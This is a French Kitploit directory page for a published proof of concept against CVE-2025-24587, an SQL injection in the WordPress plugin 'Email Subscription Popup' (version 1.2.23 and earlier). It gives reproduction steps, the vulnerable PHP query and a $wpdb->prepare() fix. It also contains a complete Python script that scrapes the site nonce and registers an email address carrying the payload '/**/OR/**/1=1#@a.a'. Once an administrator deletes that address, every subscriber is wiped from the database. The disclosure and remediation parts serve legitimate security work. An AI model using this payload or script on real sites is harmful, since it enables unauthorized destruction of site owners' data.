Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-24587 — PoC de CVE-2025-24587 | Kitploit
Outils/GitHubGitHub/dottak/cve-2025-24587
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubdottak/cve-2025-24587

CVE-2025-24587

PoC de CVE-2025-24587

Voir le dépôt
1il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-24587

1️⃣ Component type

Plugin WordPress

2️⃣ Component details

Component name Email Subscription Popup

Vulnerable version <= 1.2.23

Component slug email-subscribe

Component link https://wordpress.org/plugins/email-subscribe/

3️⃣ OWASP 2017: TOP 10

Vulnerability class A3: Injection

Vulnerability type SQL Injection

4️⃣ Pre-requisite

Non authentifié

5️⃣ Détails de la vulnérabilité

👉 Description courte

Un utilisateur non autorisé (attaquant) s'abonne à la newsletter en utilisant une adresse e-mail contenant une charge utile d'injection SQL. Ensuite, lorsque l'administrateur accède à la page « Gestion des abonnés », sélectionne l'adresse e-mail malveillante et demande sa suppression, la charge utile d'injection SQL intégrée à l'adresse e-mail est exécutée. Par conséquent, toutes les adresses e-mail abonnées sont supprimées de la base de données.

👉 Comment reproduire (PoC)

  1. Préparez un site WordPress avec le plugin « Email Subscription Popup » (version ≤ 1.2.23) activé.
  2. Exécutez le fichier poc.py.txt (ci-joint) avec Python pour vous abonner à la newsletter avec une adresse e-mail contenant une charge utile qui déclenche la vulnérabilité d'injection SQL :
    • Adresse e-mail : '/**/OR/**/1=1#@a.a
    • Remarque : l'abonnement avec cette adresse e-mail n'est pas possible via le client (navigateur) en raison de la validation. Envoyez plutôt directement une requête HTTP, comme indiqué dans poc.py.txt.
  3. Connectez-vous en tant qu'administrateur et accédez à : http://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management.
  4. Sélectionnez l'adresse e-mail '/****/**OR**/****/1=1#@a.a et cliquez sur le bouton « Supprimer les abonnés sélectionnés » en bas.
  5. Par conséquent, toutes les adresses e-mail abonnées seront supprimées.

👉 Informations complémentaires (facultatif)

[Cause de la vulnérabilité]

Cette vulnérabilité se produit dans le fichier wp-content/plugins/email-subscribe/wp-email-subscription.php, plus précisément entre les lignes 2080 et 2084 :

root@kitploit:~
# wp-content/plugins/email-subscribe/wp-email-subscription.php 의 
# line 2083 ~ line 2084
$query = "delete from  " . $wpdb->prefix . "nl_subscriptions where email='$em'";
$wpdb->query($query);

Pour résoudre ce problème, vous pouvez utiliser $wpdb->prepare() fourni par WordPress. Cette fonction échappe et formate en toute sécurité les variables utilisées dans les requêtes SQL afin de prévenir les attaques par injection SQL.

root@kitploit:~
$query = $wpdb->prepare(
    "DELETE FROM " . $wpdb->prefix . "nl_subscriptions WHERE email = %s",
    $em
);
$wpdb->query($query);

⭐ Code PoC

root@kitploit:~
import re
import string
import random
import requests

TARGET = "http://localhost:8080"

def poc():

    ####
    # 1. Retrieve the value of 'sec_string' required for email subscription
    ####
    resp = requests.get(f"{TARGET}")
    pattern = r'var nonce = \'(.{10})\';'
    match = re.search(pattern, resp.text)
    if match:
        sec_string = match.group(1)
        print("[*] sec_string: " + sec_string)
    
        ####
        # 2. Generate subscribers with random email addresses
        ####
        random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
        for i in range(10):
            data = {
                "action": "store_email",
                "email": f"{random_string}_{i}@example.com",
                "name": f"{random_string}_{i}",
                "is_agreed": "true",
                "sec_string": sec_string
            }
            print("[+] Successfully created subscriber #" + str(i) + " Email: " + data['email'] + ", Name: " + data['name'])
            requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
        
        ####
        # 3. Create a malicious email address to delete all subscriptions
        ####
        data = {
            "action": "store_email",
            "email": "'/**/OR/**/1=1#@a.a",
            "name": "Email mine",
            "is_agreed": "true",
            "sec_string": sec_string
        }
        print("[+] Malicious email address created Email: " + data['email'] + ", Name: " + data['name'])
        requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
    else:
        print("[-] 'sec_string' not found")
    

if __name__ == "__main__":
    poc()

6️⃣ Démonstration de l'exploit

vidéo

7️⃣ Références

  • https://nvd.nist.gov/vuln/detail/CVE-2025-24587
Télécharger l’outil